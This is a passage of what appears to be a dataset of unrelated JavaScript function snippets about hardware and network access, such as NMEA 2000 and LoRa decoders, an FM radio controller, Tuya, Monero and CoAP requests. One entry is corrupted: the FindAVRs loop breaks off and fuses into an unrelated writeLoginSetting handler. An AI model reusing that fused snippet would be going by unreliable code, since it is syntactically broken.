ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n default :\\n {\\n packet_title = \\\"Filled Data\\\";\\n if (hex_value == 255)\\n {\\n item_content = \\\"Filled with 0xFF\\\";\\n }\\n else\\n {\\n item_content = \\\"0x\\\" + pad(hex_value.toString(16),2) + \\\", should be 0xFF\\\";\\n types_title = ScanaStudio.PacketColors.Error.Title;\\n types_content = ScanaStudio.PacketColors.Error.Content;\\n }\\n break;\\n }\\n }//end switch (data_nb)\\n}//end function Bus_Phase_C\",\n \"function proprietary_fast_packet (decoder_items) //126720/130816/130817/130818/130819/130820/130821/130824/130827/130828/130831/130832/130834/130835/130836/130837/130838/130839/130840/130842/130843/130845/130847/130850/130851/130856/130880/130881/130944\\n{\\n var str = \\\"\\\";\\n switch (fast_packet_byte)\\n {\\n case 1 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 2 :\\n {\\n var manufacturer_code = multi_byte_value + (((hex_value>>5)&0x7)<<8);\\n var reserved = (hex_value>>3)&0x3;\\n var industry_code = hex_value&0x7;\\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*3;\\n str = LOOKUP_MANUFACTURER(manufacturer_code);\\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\\n ScanaStudio.dec_item_add_content(\\\"Manufacturer Code : \\\" + str);\\n ScanaStudio.dec_item_add_content(\\\"\\\" + str);\\n ScanaStudio.dec_item_add_content(str);\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n end_item,\\n \\\"Fast Packet Data\\\",\\n (\\\"Manufacturer Code : \\\" + str),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n start_item = end_item;\\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*5;\\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\\n ScanaStudio.dec_item_add_content(\\\"Reserved : 0x\\\" + pad(reserved.toString(16),1));\\n ScanaStudio.dec_item_add_content(\\\"Reserved\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n end_item,\\n \\\"Fast Packet Data\\\",\\n (\\\"Reserved : 0x\\\" + pad(reserved.toString(16),1)),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n str = LOOKUP_INDUSTRY_CODE(industry_code);\\n ScanaStudio.dec_item_new(decoder_items.channel_index, end_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"Industry Code : \\\" + str);\\n ScanaStudio.dec_item_add_content(str);\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n end_item,\\n decoder_items.end_sample_index,\\n \\\"Fast Packet Data\\\",\\n (\\\"Industry Code : \\\" + str),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n default :\\n {\\n packet_title = \\\"Byte n°\\\" + fast_packet_byte;\\n item_content = \\\"0x\\\" + pad(hex_value.toString(16),2);\\n break;\\n }\\n }\\n}\",\n \"loadSample(url, name, callback)\\n {\\n let request = new XMLHttpRequest();\\n request.open('GET', url, true);\\n request.responseType = 'arraybuffer';\\n request.onload = function()\\n {\\n let audioData = request.response;\\n drummachineInst.audioContext.decodeAudioData(audioData, function(buffer)\\n {\\n callback(buffer,name);\\n });\\n };\\n request.send();\\n }\",\n \"function GetDeviceIP(){\\n showBackgroundImage('wait_message');\\n getContent('','/cgi-bin/setup.cgi?GetDeviceIP','function:ShowGetDeviceIP');\\n}\",\n \"function BYB_GetBalance() { \\n var bybrequest = {\\n \\\"id\\\" : \\\"BYB\\\",\\n \\\"name\\\" : \\\"Bybit\\\",\\n \\\"apikey\\\" : '•••••••••',\\n \\\"secret\\\" : '•••••••••',\\n \\\"command\\\" : \\\"/open-api/wallet/fund/records\\\",\\n // \\\"uri\\\" : \\\"https://api.bybit.com\\\",\\n \\\"uri\\\" : \\\"api-testnet.bybit.com\\\",\\n \\\"apiversion\\\" : \\\"/v1/\\\",\\n \\\"method\\\" : \\\"get\\\",\\n \\\"payload\\\" : \\\"\\\"\\n }; \\n\\n var response = BYB_PrivateRequest(bybrequest);\\n Logger.log( JSON.parse(UrlFetchApp.fetch(response.uri, response.params)) );\\n}\",\n \"function processDeviceCommand(request, response) {\\n\\t\\n\\tvar deviceIP = request.headers[\\\"tuyapi-ip\\\"]\\n\\tvar deviceID = request.headers[\\\"tuyapi-devid\\\"]\\n\\tvar localKey = request.headers[\\\"tuyapi-localkey\\\"]\\n\\tvar command = request.headers[\\\"tuyapi-command\\\"] \\n\\n\\t//var respMsg = \\\"deviceCommand sending to deviceID: \\\" + deviceID + \\\" Command: \\\" + command;\\n\\tvar respMsg = \\\"deviceCommand sending to IP: \\\" + deviceIP + \\\" Command: \\\" + command;\\n\\tconsole.log(respMsg);\\n\\n\\tvar device = new TuyaDevice({\\n\\t //ip: deviceIP,\\n\\t id: deviceID,\\n\\t key: localKey\\n\\t , issueGetOnConnect: false\\n\\t});\\n\\n\\tdevice.on('error', error => {\\n\\t\\tconsole.log('Error!', error);\\n\\t});\\n\\n\\t(async () => {\\n\\t\\tawait device.find();\\t \\n\\n\\t\\tawait device.connect();\\t \\n\\t\\tconsole.log('Connected to device!');\\n\\t\\tlet status = await device.get();\\t \\n\\t\\tconsole.log(`Current status: ${status}.`);\\t\\n\\t\\tswitch(command) {\\n\\t\\t\\tcase \\\"off\\\":\\t\\n\\t\\t\\t\\tconsole.log('Setting to false!');\\n\\t\\t\\t\\tawait device.set({set: false});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"on\\\":\\n\\t\\t\\t\\tconsole.log('Setting to true!');\\n\\t\\t\\t\\tawait device.set({set: true});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"status\\\":\\t\\n\\t\\t\\t\\tconsole.log('Received status request!');\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tstatus = await device.get(); \\t\\t \\n\\t\\tconsole.log(`New status: ${status}.`);\\t \\n\\t\\tdevice.disconnect();\\n\\n\\t\\ttry{\\n\\t\\t\\tconsole.log(\\\"Sending Status to SmartThings:\\\" +status);\\t\\n\\t\\t\\tresponse.setHeader(\\\"tuyapi-onoff\\\", status);\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", status);\\n\\t\\t\\tresponse.end();\\n\\t\\t\\tconsole.log(\\\"Status sent to SmartThings:\\\" +status);\\t\\n\\t\\t}catch (err){\\n\\t\\t\\tconsole.log(\\\"Error:\\\" +err);\\t\\n\\t\\t}\\n\\t})();\\t\\n}\",\n \"prepare() {\\n if (!navigator.bluetooth) {\\n this.log_.warn('Bluetooth Web support is not available!');\\n return;\\n } else if (this.prepared) {\\n return;\\n }\\n\\n this.log_.debug('Preparing Bluetooth LowEnergy support...');\\n this.devices_.prepare();\\n\\n this.prepared = true;\\n }\",\n \"function RadioController() {\\n\\n var TUNER = {'vendorId': 0x0bda, 'productId': 0x2838};\\n var SAMPLE_RATE = 2048000;\\n var BUFS_PER_SEC = 5;\\n var SAMPLES_PER_BUF = Math.floor(SAMPLE_RATE / BUFS_PER_SEC);\\n var NULL_FUNC = function(){};\\n var STATE = {\\n OFF: 0,\\n STARTING: 1,\\n PLAYING: 2,\\n STOPPING: 3,\\n CHG_FREQ: 4,\\n SCANNING: 5\\n };\\n var SUBSTATE = {\\n USB: 1,\\n TUNER: 2,\\n ALL_ON: 3,\\n TUNING: 4,\\n PLAYING: 5\\n };\\n\\n var decoder = new Worker('decode-worker.js');\\n var player = new Player();\\n var state = new State(STATE.OFF);\\n var requestingBlocks = 0;\\n var playingBlocks = 0;\\n var frequency = 88500000;\\n var stereo = true;\\n var stereoEnabled = true;\\n var errorHandler;\\n var tuner;\\n var connection;\\n var ui;\\n\\n /**\\n * Starts playing the radio.\\n * @param {Function=} opt_callback A function to call when the radio\\n * starts playing.\\n */\\n function start(opt_callback) {\\n if (state.state == STATE.OFF) {\\n state = new State(STATE.STARTING, SUBSTATE.USB, opt_callback);\\n chrome.permissions.request(\\n {'permissions': [{'usbDevices': [TUNER]}]},\\n function(res) {\\n if (!res) {\\n state = new State(STATE.OFF);\\n throwError('This app has no permission to access the USB ports.');\\n } else {\\n processState();\\n }\\n });\\n } else if (state.state == STATE.STOPPING || state.state == STATE.STARTING) {\\n state = new State(STATE.STARTING, state.substate, opt_callback);\\n }\\n }\\n\\n /**\\n * Stops playing the radio.\\n * @param {Function=} opt_callback A function to call after the radio\\n * stops playing.\\n */\\n function stop(opt_callback) {\\n if (state.state == STATE.OFF) {\\n opt_callback && opt_callback();\\n } else if (state.state == STATE.STARTING || state.state == STATE.STOPPING) {\\n state = new State(STATE.STOPPING, state.substate, opt_callback);\\n } else if (state.state != STATE.STOPPING) {\\n state = new State(STATE.STOPPING, SUBSTATE.ALL_ON, opt_callback);\\n }\\n }\\n\\n /**\\n * Tunes to another frequency.\\n * @param {number} freq The new frequency in Hz.\\n */\\n function setFrequency(freq) {\\n if (state.state == STATE.PLAYING || state.state == STATE.CHG_FREQ\\n || state.state == STATE.SCANNING) {\\n state = new State(STATE.CHG_FREQ, null, freq);\\n } else {\\n frequency = freq;\\n ui && ui.update();\\n }\\n }\\n\\n /**\\n * Returns the currently tuned frequency.\\n * @return {number} The current frequency in Hz.\\n */\\n function getFrequency() {\\n return frequency;\\n }\\n\\n /**\\n * Searches a given frequency band for a station, starting at the\\n * current frequency.\\n * @param {number} min The minimum frequency, in Hz.\\n * @param {number} max The maximum frequency, in Hz.\\n * @param {number} step The step between stations, in Hz. The step's sign\\n * determines the scanning direction.\\n */\\n function scan(min, max, step) {\\n if (state.state == STATE.PLAYING || state.state == STATE.SCANNING) {\\n var param = {\\n min: min,\\n max: max,\\n step: step,\\n start: frequency\\n };\\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\\n }\\n }\\n\\n /**\\n * Returns whether the radio is doing a frequency scan.\\n * @return {boolean} Whether the radio is doing a frequency scan.\\n */\\n function isScanning() {\\n return state.state == STATE.SCANNING;\\n }\\n\\n /**\\n * Returns whether the radio is currently playing.\\n * @param {boolean} Whether the radio is currently playing.\\n */\\n function isPlaying() {\\n return state.state != STATE.OFF && state.state != STATE.STOPPING;\\n }\\n\\n /**\\n * Returns whether the radio is currently stopping.\\n * @param {boolean} Whether the radio is currently stopping.\\n */\\n function isStopping() {\\n return state.state == STATE.STOPPING;\\n }\\n\\n /**\\n * Returns whether a stereo signal is being decoded.\\n * @param {boolean} Whether a stereo signal is being decoded.\\n */\\n function isStereo() {\\n return stereo;\\n }\\n\\n /**\\n * Enables or disables stereo decoding.\\n * @param {boolean} enable Whether stereo decoding should be enabled.\\n */\\n function enableStereo(enable) {\\n stereoEnabled = enable;\\n ui && ui.update();\\n }\\n\\n /**\\n * Returns whether stereo decoding is enabled.\\n * @return {boolean} Whether stereo decoding is enabled.\\n */\\n function isStereoEnabled() {\\n return stereoEnabled;\\n }\\n\\n /**\\n * Saves a reference to the current user interface controller.\\n * @param {Object} iface The controller. Must have an update() method.\\n */\\n function setInterface(iface) {\\n ui = iface;\\n }\\n\\n /**\\n * Sets a function to be called when there is an error.\\n * @param {Function} handler The function to call. Its only parameter\\n * is the error message.\\n */\\n function setOnError(handler) {\\n errorHandler = handler;\\n }\\n\\n /**\\n * Handles an error.\\n * @param {string} msg The error message.\\n */\\n function throwError(msg) {\\n if (errorHandler) {\\n errorHandler(msg);\\n } else {\\n throw msg;\\n }\\n }\\n\\n /**\\n * Starts the decoding pipeline.\\n */\\n function startPipeline() {\\n // In this way we read one block while we decode and play another.\\n if (state.state == STATE.PLAYING) {\\n processState();\\n }\\n processState();\\n }\\n\\n /**\\n * Performs the appropriate action according to the current state.\\n */\\n function processState() {\\n if (state.state == STATE.STARTING) {\\n if (state.substate == SUBSTATE.USB) {\\n state = new State(STATE.STARTING, SUBSTATE.TUNER, state.param);\\n chrome.usb.findDevices(TUNER,\\n function(conns) {\\n if (conns.length == 0) {\\n state = new State(STATE.OFF);\\n throwError('USB tuner device not found. The Radio Receiver ' +\\n 'app needs an RTL2832U-based DVB-T dongle ' +\\n '(with an R820T tuner chip) to work.');\\n } else {\\n connection = conns[0];\\n processState();\\n }\\n });\\n } else if (state.substate == SUBSTATE.TUNER) {\\n state = new State(STATE.STARTING, SUBSTATE.ALL_ON, state.param);\\n tuner = new RTL2832U(connection);\\n tuner.setOnError(throwError);\\n tuner.open(function() {\\n tuner.setSampleRate(SAMPLE_RATE, function(rate) {\\n tuner.setCenterFrequency(frequency, function() {\\n processState();\\n })})});\\n } else if (state.substate == SUBSTATE.ALL_ON) {\\n var cb = state.param;\\n state = new State(STATE.PLAYING);\\n tuner.resetBuffer(function() {\\n cb && cb();\\n ui && ui.update();\\n startPipeline();\\n });\\n }\\n } else if (state.state == STATE.PLAYING) {\\n ++requestingBlocks;\\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\\n --requestingBlocks;\\n if (state.state == STATE.PLAYING) {\\n if (playingBlocks <= 2) {\\n ++playingBlocks;\\n decoder.postMessage([data, stereoEnabled]);\\n }\\n }\\n processState();\\n });\\n } else if (state.state == STATE.CHG_FREQ) {\\n if (requestingBlocks > 0) {\\n return;\\n }\\n frequency = state.param;\\n ui && ui.update();\\n tuner.setCenterFrequency(frequency, function() {\\n tuner.resetBuffer(function() {\\n state = new State(STATE.PLAYING);\\n startPipeline();\\n })});\\n } else if (state.state == STATE.SCANNING) {\\n if (requestingBlocks > 0) {\\n return;\\n }\\n var param = state.param;\\n if (state.substate == SUBSTATE.TUNING) {\\n frequency += param.step;\\n if (frequency > param.max) {\\n frequency = param.min;\\n } else if (frequency < param.min) {\\n frequency = param.max;\\n }\\n ui && ui.update();\\n state = new State(STATE.SCANNING, SUBSTATE.PLAYING, param);\\n tuner.setCenterFrequency(frequency, function() {\\n tuner.resetBuffer(processState);\\n });\\n } else if (state.substate == SUBSTATE.PLAYING) {\\n if (frequency == param.start) {\\n state = new State(STATE.PLAYING);\\n startPipeline();\\n return;\\n }\\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\\n var scanData = {\\n 'scanning': true,\\n 'frequency': frequency\\n };\\n ++requestingBlocks;\\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\\n --requestingBlocks;\\n if (state.state == STATE.SCANNING) {\\n ++playingBlocks;\\n decoder.postMessage([data, stereoEnabled, scanData]);\\n }\\n processState();\\n });\\n }\\n } else if (state.state == STATE.STOPPING) {\\n if (state.substate == SUBSTATE.ALL_ON) {\\n if (requestingBlocks > 0) {\\n return;\\n }\\n state = new State(STATE.STOPPING, SUBSTATE.TUNER, state.param);\\n ui && ui.update();\\n tuner.close(function() {\\n processState();\\n });\\n } else if (state.substate == SUBSTATE.TUNER) {\\n state = new State(STATE.STOPPING, SUBSTATE.USB, state.param);\\n chrome.usb.closeDevice(connection, function() {\\n processState();\\n });\\n } else if (state.substate == SUBSTATE.USB) {\\n var cb = state.param;\\n state = new State(STATE.OFF);\\n cb && cb();\\n ui && ui.update();\\n }\\n }\\n }\\n\\n /**\\n * Receives the sound from the demodulator and plays it.\\n * @param {Event} msg The data sent by the demodulator.\\n */\\n decoder.onmessage = function(msg) {\\n --playingBlocks;\\n var newStereo = !!msg.data[1];\\n if (newStereo != stereo) {\\n stereo = newStereo;\\n ui && ui.update();\\n }\\n player.play(msg.data[0], msg.data[1]);\\n if (state.state == STATE.SCANNING && msg.data[2] && msg.data[2]['scanning']) {\\n if (overload(msg.data[0]) < 0.075) {\\n setFrequency(msg.data[2].frequency);\\n }\\n }\\n };\\n\\n /**\\n * Calculates the proportion of samples above maximum amplitude.\\n * @param {Samples} samples The audio stream.\\n * @param {number} The proportion of samples above the maximum amplitude.\\n */\\n function overload(samples) {\\n var count = 0;\\n for (var i = 0; i < samples.data.length; ++i) {\\n if (samples.data[i] > 1 || samples.data[i] < -1) {\\n ++count;\\n }\\n }\\n return count / samples.data.length;\\n }\\n\\n /**\\n * Constructs a state object.\\n * @param {number} state The state.\\n * @param {number=} opt_substate The sub-state.\\n * @param {*=} opt_param The state's parameter.\\n */\\n function State(state, opt_substate, opt_param) {\\n return {\\n state: state,\\n substate: opt_substate,\\n param: opt_param\\n };\\n }\\n\\n return {\\n start: start,\\n stop: stop,\\n setFrequency: setFrequency,\\n getFrequency: getFrequency,\\n scan: scan,\\n isScanning: isScanning,\\n isPlaying: isPlaying,\\n isStopping: isStopping,\\n isStereo: isStereo,\\n enableStereo: enableStereo,\\n isStereoEnabled: isStereoEnabled,\\n setInterface: setInterface,\\n setOnError: setOnError\\n };\\n}\",\n \"function FindAVRs()\\n{\\n var devs = usb.getDeviceList();\\n for (var i=0; i {\\n console.log('--writeLoginSetting successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginSetting failed ',error);\\n });\\n }\",\n \"function makeRequest(){\\n var mediaRequest = {\\n responseType: http$RESPONSETYPE_BINARY,\\n parser: CadmiumMediaStream$_parseHeaderBoxes,\\n url: _self.downloadUrls[cdn.id],\\n cdn: cdn,\\n track: track,\\n stream: _self,\\n offset: 0,\\n length: _actualHeaderSize || _estimateHeaderSize(contentProfile),\\n diagCaption: type + '-' + bitrate + '-hdr',\\n cacheBuster: true\\n };\\n playback.httpPlayback.download(mediaRequest, processResponse);\\n }\",\n \"async sendBinaryRequest(path, params) {\\n if (LibraryUtils.getLogLevel() >= 2) console.log(\\\"sendBinaryRequest(\\\" + path + \\\", \\\" + JSON.stringify(params) + \\\")\\\");\\n \\n // load wasm module\\n await LibraryUtils.loadKeysModule();\\n \\n // serialize params\\n let paramsBin = MoneroUtils.jsonToBinary(params);\\n \\n try {\\n \\n // send http request\\n let resp = await HttpClient.request({\\n method: \\\"POST\\\",\\n uri: this.getUri() + '/' + path,\\n username: this.getUsername(),\\n password: this.getPassword(),\\n body: paramsBin,\\n rejectUnauthorized: this.config.rejectUnauthorized,\\n requestApi: GenUtils.isFirefox() ? \\\"xhr\\\" : \\\"fetch\\\"\\n });\\n \\n // validate response\\n MoneroRpcConnection.validateHttpResponse(resp);\\n \\n // process response\\n resp = resp.body;\\n if (!(resp instanceof Uint8Array)) {\\n console.error(\\\"resp is not uint8array\\\");\\n console.error(resp);\\n }\\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\\n return resp;\\n } catch (err) {\\n if (err instanceof MoneroRpcError) throw err;\\n else throw new MoneroRpcError(err, undefined, path, params);\\n }\\n }\",\n \"async getData() {\\n\\t\\t//first we have to find out all the gateways we have to query\\n\\t\\tvar that = this;\\n\\t\\tlet web3 = new Web3(new Web3.providers.HttpProvider(\\\"https://rinkeby.infura.io\\\"));\\n\\t\\tlet mphr = new web3.eth.Contract(JSON.parse(mphrABI));\\n\\t\\tmphr.options.address = this.props.profile.mphr;\\n\\n\\t\\tmphr.methods.returnGateways().call({}, function (error, result) {\\n\\t\\t\\tif(error) { throw (error); }\\n\\t\\t\\tfor(var i = 0; i < result.length; i++) {\\n\\t\\t\\t\\tlet hex = result[i].toString();//force conversion\\n\\t\\t\\t\\tlet gateway = '';\\n\\t\\t\\t\\tfor (var j = 0; (j < hex.length && hex.substr(j, 2) !== '00'); j += 2) {\\n\\t\\t\\t\\t\\tgateway += String.fromCharCode(parseInt(hex.substr(j, 2), 16));\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tthat.request(gateway.slice(1), that.props.profile.id, \\\"all\\\");\\n\\t\\t\\t}\\n\\t\\t});\\n\\t}\",\n \"requestGetDeviceName() {\\n if (!this.connected) { return; }\\n this.writeMessage(MESSAGE_TYPE_GET_DEVICE_NAME, new Uint8Array(0));\\n }\",\n \"async WebGetBinaryStructures(url) {\\n var r = await this._BaseWebRequest(url, \\\"arraybuffer\\\", \\\"GET\\\", null);\\n var decoder = new DeltaBinaryStructuresDecoder(new DataView(r));\\n decoder.Decode();\\n return decoder;\\n }\",\n \"async function findDevice() {\\n const device = await liff.bluetooth.requestDevice().catch(e => {\\n flashSDKError(e);\\n onScreenLog(`ERROR on requestDevice: ${e}`);\\n throw e;\\n });\\n // onScreenLog('detect: ' + device.id);\\n\\n try {\\n if (!deviceUUIDSet.has(device.id)) {\\n deviceUUIDSet.add(device.id);\\n addDeviceToList(device);\\n } else {\\n // TODO: Maybe this is unofficial hack > device.rssi\\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\\n }\\n\\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\\n } catch (e) {\\n onScreenLog(`ERROR on findDevice: ${e}\\\\n${e.stack}`);\\n }\\n}\",\n \"async function upload( cmd_array, fastspeed = true){\\n let fullflag = false\\n \\n if(cmd_array.length>1){\\n fullflag = Boolean(parseInt(cmd_array[1]))\\n }\\n\\n if(fastspeed){\\n await blxConnectionFast()\\n if(blxErrMsg) return\\n }\\n\\n for(;;){ // Unlock Device (locked in FAST mode)\\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\\n if (blxErrMsg) break\\n\\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\\n }\\n \\n await calcMem(true) // With adjust\\n if(blxErrMsg) break\\n\\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\\n\\n if(blxUserCB) {\\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \\n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \\n }\\n \\n await updateFile('data.edt', fullflag)\\n if(blxErrMsg) break\\n\\n await updateFile('data.edt.old', fullflag)\\n //if(blxErrMsg) break // not needed\\n\\n break \\n } // for\\n\\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\\n await blxConnectionSlow()\\n }\\n }\",\n \"async function findDevice() {\\n const device = await liff.bluetooth.requestDevice().catch(e => {\\n flashSDKError(e);\\n onScreenLog(`ERROR on requestDevice: ${e}`);\\n throw e;\\n });\\n // onScreenLog('detect: ' + device.id);\\n\\n try {\\n if (!deviceUUIDSet.has(device.id)) {\\n deviceUUIDSet.add(device.id);\\n addDeviceToList(device);\\n } else {\\n // TODO: Maybe this is unofficial hack > device.rssi\\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\\n }\\n\\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\\n } catch (e) {\\n onScreenLog(`ERROR on findDevice: ${e}\\\\n${e.stack}`);\\n }\\n}\",\n \"function trackerRequest() {\\n const buff = Buffer.alloc(16);\\n buff.writeUInt32BE(0x417, 0);\\n buff.writeUInt32BE(0x27101980, 4);\\n buff.writeUInt32BE(0, 8);\\n crypto.randomBytes(4).copy(buff, 12);\\n return (buff);\\n}\",\n \"function calculateChallengeResponse(challenge, adminkey) {\\n var objAlg =\\n Windows.Security.Cryptography.Core.SymmetricKeyAlgorithmProvider\\n .openAlgorithm(\\n Windows.Security.Cryptography.Core.SymmetricAlgorithmNames\\n .tripleDesCbc);\\n\\n var symetricKey = objAlg.createSymmetricKey(adminkey);\\n var buffEncrypted =\\n Windows.Security.Cryptography.Core.CryptographicEngine.encrypt(\\n symetricKey,\\n challenge,\\n null);\\n\\n return buffEncrypted;\\n }\",\n \"function getConvolver () {\\n const ajax = new window.XMLHttpRequest()\\n\\n ajax.open('GET', convolverUrl, true)\\n\\n ajax.responseType = 'arraybuffer'\\n\\n ajax.onload = function () {\\n const audioData = ajax.response\\n\\n audioCtx.decodeAudioData(audioData, function (buffer) {\\n soundSource = audioCtx.createBufferSource()\\n convolver.buffer = buffer\\n }, function (e) { console.log('Error with decoding audio data' + e.err) })\\n\\n soundSource.connect(audioCtx.destination)\\n soundSource.loop = true\\n soundSource.start()\\n }\\n\\n ajax.send()\\n }\",\n \"function getdevicelist (dev, callback)\\n{\\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\\n {\\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-12';\\n webphone_api.plhandler.GetDeviceList(dev, callback);\\n }\\n}\",\n \"function Decoder(bytes, port) {\\n // Decode an uplink message from a buffer\\n // (array) of bytes to an object of fields.\\n var decoded = {};\\n\\n if (! (port === 3))\\n return null;\\n\\n // see catena-message-port3-format.md\\n // i is used as the index into the message. Start with the flag byte.\\n // note that there's no discriminator.\\n // test vectors are also available there.\\n var i = 0;\\n // fetch the bitmap.\\n var flags = bytes[i++];\\n\\n if (flags & 0x1) {\\n // set Vraw to a uint16, and increment pointer\\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n // interpret uint16 as an int16 instead.\\n if (Vraw & 0x8000)\\n Vraw += -0x10000;\\n // scale and save in result.\\n decoded.Vbat = Vraw / 4096.0;\\n }\\n\\n if (flags & 0x2) {\\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n if (Vraw & 0x8000)\\n Vraw += -0x10000;\\n decoded.VDD = Vraw / 4096.0;\\n }\\n\\n if (flags & 0x4) {\\n var iBoot = bytes[i];\\n i += 1;\\n decoded.boot = iBoot;\\n }\\n\\n if (flags & 0x8) {\\n // we have temp, pressure, RH\\n var tRaw = (bytes[i] << 8) + bytes[i + 1];\\n if (tRaw & 0x8000)\\n tRaw = -0x10000 + tRaw;\\n i += 2;\\n var rhRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n\\n decoded.t = tRaw / 256;\\n decoded.rh = rhRaw / 65535.0 * 100;\\n decoded.tDew = dewpoint(decoded.t, decoded.rh);\\n decoded.tHeatIndexC = CalculateHeatIndexCelsius(decoded.t, decoded.rh);\\n }\\n\\n if (flags & 0x10) {\\n // we have light irradiance info\\n var irradiance = {};\\n decoded.irradiance = irradiance;\\n\\n var lightRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n irradiance.IR = lightRaw;\\n\\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n irradiance.White = lightRaw;\\n\\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n irradiance.UV = lightRaw;\\n }\\n\\n if (flags & 0x20) {\\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n if (Vraw & 0x8000)\\n Vraw += -0x10000;\\n decoded.Vbus = Vraw / 4096.0;\\n }\\n\\n // at this point, decoded has the real values.\\n return decoded;\\n}\",\n \"function callAPI(req,res,handleResponse){\\n var host = 'www.blueworkslive.com';\\n var username = 'xxxx';\\n var password = 'yyyy';\\n var path = '/api/Auth';\\n var headers = {\\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\\n };\\n var options = {\\n host: host,\\n path: path,\\n method: 'GET',\\n headers: headers\\n };\\n var bwlResData = {};\\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\\n var bwlRequest = https.request(options, function(bwlResponse) {\\n\\tconsole.log(\\\"BwlApiCall: Response status=\\\"+bwlResponse.statusCode);\\n\\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\\n\\tbwlResData.headers = bwlResponse.headers;\\n\\tvar bufferData = [];\\n\\tbwlResponse.on('data', function(data) {\\n\\t bufferData.push(data);\\n console.info('BwlApiCall: Response data received');\\n\\t});\\n\\tbwlResponse.on('end', function() {\\n console.info('BwlApiCall: completed, calling callback');\\n\\t bwlResData.data = Buffer.concat(bufferData);\\n\\t handleResponse(req, res, bwlResData);\\n });\\n });\\n/* if ((reqData.method == \\\"post\\\" || reqData.method == \\\"put\\\") && reqData.senddata) {\\n console.log(reqData.method+' sending data: '+reqData.senddata);\\n bwlRequest.write(reqData.senddata);\\n } */\\n bwlRequest.end();\\n bwlRequest.on('error', function(e){\\n console.error('BwlApiCall: REQUEST-ERROR '+e);\\n });\\n}\",\n \"retrieveDevice(req, res) {\\n res.json({ message: \\\"Device\\\", data: req.device });\\n }\",\n \"getDeviceDescription(deviceId, callback, retryCounter) {\\n let ip;\\n if (!retryCounter) retryCounter = 0;\\n if (retryCounter > 2) {\\n return callback && callback(new Error('timeout on response'));\\n }\\n if (deviceId.includes('#')) {\\n if (!this.knownDevices[deviceId] || !this.knownDevices[deviceId].ip) {\\n return callback && callback('device unknown');\\n }\\n ip = this.knownDevices[deviceId].ip;\\n }\\n else ip = deviceId;\\n this.logger && this.logger('CoAP device description request for ' + deviceId + ' to ' + ip + '(' + retryCounter + ')');\\n let retryTimeout = null;\\n try {\\n const req = coap.request({\\n host: ip,\\n //port: 5683,\\n method: 'GET',\\n pathname: '/cit/d'\\n });\\n\\n retryTimeout = setTimeout(() => {\\n this.getDeviceDescription(deviceId, callback, ++retryCounter);\\n callback = null;\\n }, 2000);\\n req.on('response', (res) => {\\n clearTimeout(retryTimeout);\\n const options = {};\\n res.options.forEach((opt) => {\\n if (!options[opt.name]) {\\n options[opt.name] = opt.value;\\n }\\n else {\\n options[opt.name] += '/' + opt.value;\\n }\\n });\\n this.logger && this.logger('CoAP response: ' + JSON.stringify(options));\\n\\n const deviceId = this.initDevice(options, res.rsinfo);\\n if (!deviceId) return;\\n\\n let payload = res.payload.toString();\\n if (!payload.length) {\\n this.logger && this.logger('CoAP payload empty: ' + JSON.stringify(options));\\n return;\\n }\\n try {\\n\\n if 